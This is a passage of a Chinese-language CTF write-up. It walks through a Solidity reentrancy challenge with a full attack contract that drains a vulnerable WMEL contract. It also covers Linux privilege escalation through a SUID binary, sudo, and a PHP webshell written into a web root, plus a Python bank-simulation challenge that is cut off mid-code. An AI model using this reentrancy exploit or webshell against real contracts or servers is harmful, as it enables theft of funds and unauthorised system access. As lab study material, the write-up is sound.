data-backh="239" data-backw="474" data-ratio="0.5033333333333333" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=4ace0021&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAPWYQBTibmBjYR2rYKJaoQf8axSZyKXhBlu1HJxc9p0a2iclib51mP3mrg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>Ready to hack</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="716" data-backw="474" data-ratio="1.5087924970691677" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=c0ca1d83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAOa1kbCribtgbLZjfZ6dGsyrrIXc3NiaEw2kWWRzk3vCxX9xkq3ZibBxRA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">部署合约，题目提示需要将目标合约的代币清空</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="281" data-backw="474" data-ratio="0.5918518518518519" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=97b9cf86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAPibAzNq9QwobY1eqJV9fgCvQ6VbYPAIloQxQZgwgibwcm5Iq8ibNIMiaOA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">源码</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// SPDX-License-Identifier: MIT</span><br/>pragma solidity ^<span style="color: #986801;line-height: 26px;">0.8</span><span style="color: #986801;line-height: 26px;">.13</span>;<br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">/*<br/>    This contract implements &#34;WMEL&#34; (Wrapped MEL). You get an ERC20 version of Melcoin where 1WMEL == 1MEL at all times.<br/>    This is a beta version !<br/>*/</span><br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// @dev : iHuggsy</span><br/>contract WMEL<br/>{<br/>    mapping(address =&gt; uint) <span style="color: #a626a4;line-height: 26px;">public</span> balances;<br/>    constructor () payable {}<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">deposit</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">external</span> <span style="color: #4078f2;line-height: 26px;">payable</span> <br/>    </span>{<br/>        balances[msg.sender] += msg.value;<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">withdraw</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <br/>    </span>{<br/>        uint bal = balances[msg.sender];<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(bal &gt; <span style="color: #986801;line-height: 26px;">0</span>);<br/>        (bool sent, ) = msg.sender.call{value: bal}(<span style="color: #50a14f;line-height: 26px;">&#34;&#34;</span>);<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(sent, <span style="color: #50a14f;line-height: 26px;">&#34;Failed to send Ether&#34;</span>);<br/>        balances[msg.sender] = <span style="color: #986801;line-height: 26px;">0</span>;<br/>    }<br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// Helper function to check the balance of this contract</span><br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">getBalance</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(uint)</span> <br/>    </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> address(this).balance;<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">关注到其中一行代码</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">(bool sent, ) = msg.sender.call{value: bal}(<span style="color: #50a14f;line-height: 26px;">&#34;&#34;</span>);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">这里存在重入漏洞，当提取时会触发 fallback 函数，编写一个攻击合约，逻辑为当目标中存在 &gt;= 1 HERO 时，一直调用 withdraw 函数进行提取</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">contract Attack {<br/>    WMEL <span style="color: #a626a4;line-height: 26px;">public</span> etherStore;<br/>    constructor(address _etherStoreAddress) {<br/>        etherStore = WMEL(_etherStoreAddress);<br/>    }<br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// Fallback is called when EtherStore sends Ether to this contract.</span><br/>    fallback() external payable {<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> (address(etherStore).balance &gt;= <span style="color: #986801;line-height: 26px;">1</span> ether) {<br/>            etherStore.withdraw();<br/>        }<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">attack</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">external</span> <span style="color: #4078f2;line-height: 26px;">payable</span> </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(msg.value &gt;= <span style="color: #986801;line-height: 26px;">1</span> ether);<br/>        etherStore.deposit{value: <span style="color: #986801;line-height: 26px;">1</span> ether}();<br/>        etherStore.withdraw(); <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// go to fallback</span><br/>    }<br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// Helper function to check the balance of this contract</span><br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">getBalance</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(uint)</span> </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> address(this).balance;<br/>    }<br/>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="253" data-backw="474" data-ratio="0.5333333333333333" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=efd25a82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAEJXRofQYJzxJsJqNqTz64Iw01kuuAxZ8a8u5Ges4MIx3jvC3HrlgzA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">当调用 attack 函数时，就会通过 fallback 函数清空所有合约代币</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="474" data-ratio="0.6029629629629629" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=ec46b817&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAJb5NSC4zUaLE0YnmnXDsXl0H4RviciaoQWJrtbteYuibE6sk42ekClHHw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">System</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>undercover#1</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="706" data-backw="474" data-ratio="1.489451476793249" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="948" src="https://wechat2rss.xlab.app/img-proxy/?k=515e79ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAb1GdiactWC52xyJrnIfXRoxiaOicodVjyEpDia1jia2j0iaIqYTVxQPIcDYw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">创建环境登陆  user1， 存在 suid 为 user2 的文件 hmmm, 下载下来分析</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="200" data-backw="474" data-ratio="0.4206666666666667" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=418a1485&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAZeCPWx4ZeaMg6fAIQnP7kGO2X5uMykj6MrKDIiaO4cQicicicGOWH3njFg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">可以通过创建 WTFFFFF 文件为 shell脚本，来通过 hmmm 中的 system函数执行获取 user2权限</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="58" data-backw="474" data-ratio="0.12129380053908356" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=b01ebb73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAdKZw7ajBDqVpqf4qh8A5taamS9dnQvh2CtsY6Ax1sk25BibU3t8Ey1g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">在通过sudo -l 找到 root权限无需密码的可执行文件获取shell</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="108" data-backw="474" data-ratio="0.22666666666666666" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=407a26b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAehoKog2APh8ynj3picrFV0FmHRTicibokczdRiakg4trdLQcNkW5c2WFEA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>undercover#2</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="763" data-backw="474" data-ratio="1.6082474226804124" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="970" src="https://wechat2rss.xlab.app/img-proxy/?k=8cfcffb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAKjD3pZiacbYvvuGPiajNF1Cz3TNLkzBffq9aXsHsP8UO55fPR57ickzkQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">创建环境后登陆 user1 用户</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="218" data-backw="474" data-ratio="0.45866666666666667" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=7e0cf298&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAKdllJpjYGs1OY9ryfa66jEU4R5ZB2051jD9utFBZaXGvicqGyiamRezA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">可以看到是 dev 用户启动的 Web服务，在Web目录中写一个 Webshell</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">user1@<span style="color: #986801;line-height: 26px;">38</span>b224da61ad:/<span style="color: #a626a4;line-height: 26px;">var</span>/www/html$ rm -rf index.php<br/>user1@<span style="color: #986801;line-height: 26px;">38</span>b224da61ad:/<span style="color: #a626a4;line-height: 26px;">var</span>/www/html$ <span style="color: #a626a4;line-height: 26px;">echo</span> <span style="color: #50a14f;line-height: 26px;">&#39;&lt;?php system(&#34;whoami&#34;);?&gt;&#39;</span> &gt; index.php;chmod <span style="color: #986801;line-height: 26px;">777</span> index.php<br/>user1@<span style="color: #986801;line-height: 26px;">38</span>b224da61ad:/<span style="color: #a626a4;line-height: 26px;">var</span>/www/html$ curl http:<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//127.0.0.1/index.php </span><br/>dev<br/>user1@<span style="color: #986801;line-height: 26px;">38</span>b224da61ad:/<span style="color: #a626a4;line-height: 26px;">var</span>/www/html$ <br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">已经获取到 dev 的权限, sudo -l 权限是 ALL</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="73" data-backw="474" data-ratio="0.15492957746478872" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2414" src="https://wechat2rss.xlab.app/img-proxy/?k=b9e0c2f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAeaU4SI6BQiaQ5uibNbnmK8GqiclRtjs48lLk3DYOCu2WFnGSzX1dcdRZA%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="73" data-backw="474" data-ratio="0.15492957746478872" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2414" src="https://wechat2rss.xlab.app/img-proxy/?k=b9e0c2f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAeaU4SI6BQiaQ5uibNbnmK8GqiclRtjs48lLk3DYOCu2WFnGSzX1dcdRZA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">Prog</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>Heist</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="688" data-backw="474" data-ratio="1.4504132231404958" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=4ca2c1d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAbZoCdGxibNvIDx8bWaRAnDVfniaJrH52GxCia5OZa7fVtiaFpcJIgicrtCA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">查看 chall.py 源码</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="327" data-backw="474" data-ratio="0.6893333333333334" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=4df866d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tALhQNsYXvfRjAGhdqCGeJicTfYia56nKrs54d5CUCmRFAuDBJB9BosqOg%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#! /usr/bin/python3</span><br/><span style="color: #a626a4;line-height: 26px;">import</span> os<br/><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">class</span> <span style="color: #c18401;line-height: 26px;">account</span>:</span><br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">__init__</span><span style="line-height: 26px;">(self, amount, user)</span>:</span><br/>        self.balance = amount<br/>        self.user = user<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">wireMoney</span><span style="line-height: 26px;">(self, amount, receiver)</span>:</span><br/>        <span style="color: #a626a4;line-height: 26px;">if</span> amount &gt; self.balance:<br/>            print(<span style="color: #50a14f;line-height: 26px;">&#34;[!] DEBUG MESSAGE : You don&#39;t have enough money on your account to make this transfer&#34;</span>)<br/>            <span style="color: #a626a4;line-height: 26px;">return</span> <span style="color: #0184bb;line-height: 26px;">False</span><br/>        <span style="color: #a626a4;line-height: 26px;">else</span>:<br/>            self.balance -= amount<br/>            receiver.balance += amount<br/>            <span style="color: #a626a4;line-height: 26px;">return</span> <span style="color: #0184bb;line-height: 26px;">True</span><br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">printBalance</span><span style="line-height: 26px;">(self)</span>:</span><br/>        print(<span style="color: #50a14f;line-height: 26px;">f&#34;<span style="color: #e45649;line-height: 26px;">{self.user}</span> has <span style="color: #e45649;line-height: 26px;">{self.balance}</span> on his account&#34;</span>)<br/>FLAG = open(<span style="color: #50a14f;line-height: 26px;">&#34;./flag.txt&#34;</span>, <span style="color: #50a14f;line-height: 26px;">&#34;r&#34;</span>).read()<br/><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">clear</span><span style="line-height: 26px;">()</span>:</span><br/>    os.system(<span style="color: #50a14f;line-height: 26px;">&#39;cls&#39;</span> <span style="color: #a626a4;line-height: 26px;">if</span> os.name == <span style="color: #50a14f;line-height: 26px;">&#39;nt&#39;</span> <span style="color: #a626a4;line-height: 26px;">else</span> <span style="color: #50a14f;line-height: 26px;">&#39;clear&#39;</span>)```<br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># Creating the two accounts</span><br/>ctf_player = account(<span style="color: #986801;line-height: 26px;">10</span>, <span style="color: #50a14f;line-height: 26px;">&#34;ctf_player&#34;</span>)<br/>BANK = account(<span style="color: #986801;line-height: 26px;">100</span>, <span style="color: #50a14f;line-height: 26px;">&#34;Bank&#34;</span>)<br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># Main loop</span><br/>menu = <span style="color: #50a14f;line-height: 26px;">&#34;dashboard&#34;</span><br/>clear()<br/><span style="color: #a626a4;line-height: 26px;">while</span> menu != <span style="color: #50a14f;line-height: 26px;">&#34;quit&#34;</span>:<br/>    <span style="color: #a626a4;line-height: 26px;">if</span> menu == <span style="color: #50a14f;line-height: 26px;">&#34;dashboard&#34;</span>:<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;=== Dashboard ===&#34;</span>)<br/>        print()<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;Welcome to your HeroBank dashboard ! &#34;</span>)<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;From here, you can choose to wire money to another account, or to buy some premium features on the HeroStore.&#34;</span>)<br/>        print()<br/>        print(<span style="color: #50a14f;line-height: 26px;">f&#34;You currently have <span style="color: #e45649;line-height: 26px;">{ctf_player.balance}</span>$ on your account&#34;</span>)<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;Choose an option :&#34;</span>)<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;1 - HeroStore&#34;</span>)<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;2 - Transfer money&#34;</span>)<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;3 - Quit&#34;</span>)<br/>        option = <span style="color: #986801;line-height: 26px;">0</span><br/>        <span style="color: #a626a4;line-height: 26px;">try</span>:<br/>            option = int(input(<span style="color: #50a14f;line-height: 26px;">&#34;&gt;&gt; &#34;</span>))<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> option == <span style="color: #986801;line-height: 26px;">1</span>:<br/>                menu = <span style="color: #50a14f;line-height: 26px;">&#34;store&#34;</span><br/>            <span style="color: #a626a4;line-height: 26px;">elif</span> option == <span style="color: #986801;line-height: 26px;">2</span>:<br/>                menu = <span style="color: #50a14f;line-height: 26px;">&#34;transfer&#34;</span><br/>            <span style="color: #a626a4;line-height: 26px;">elif</span> option == <span style="color: #986801;line-height: 26px;">3</span>:<br/>                menu = <span style="color: #50a14f;line-height: 26px;">&#34;quit&#34;</span><br/>            <span style="color: #a626a4;line-height: 26px;">else</span>:<br/>                <span style="color: #986801;line-height: 26px;">1</span>/<span 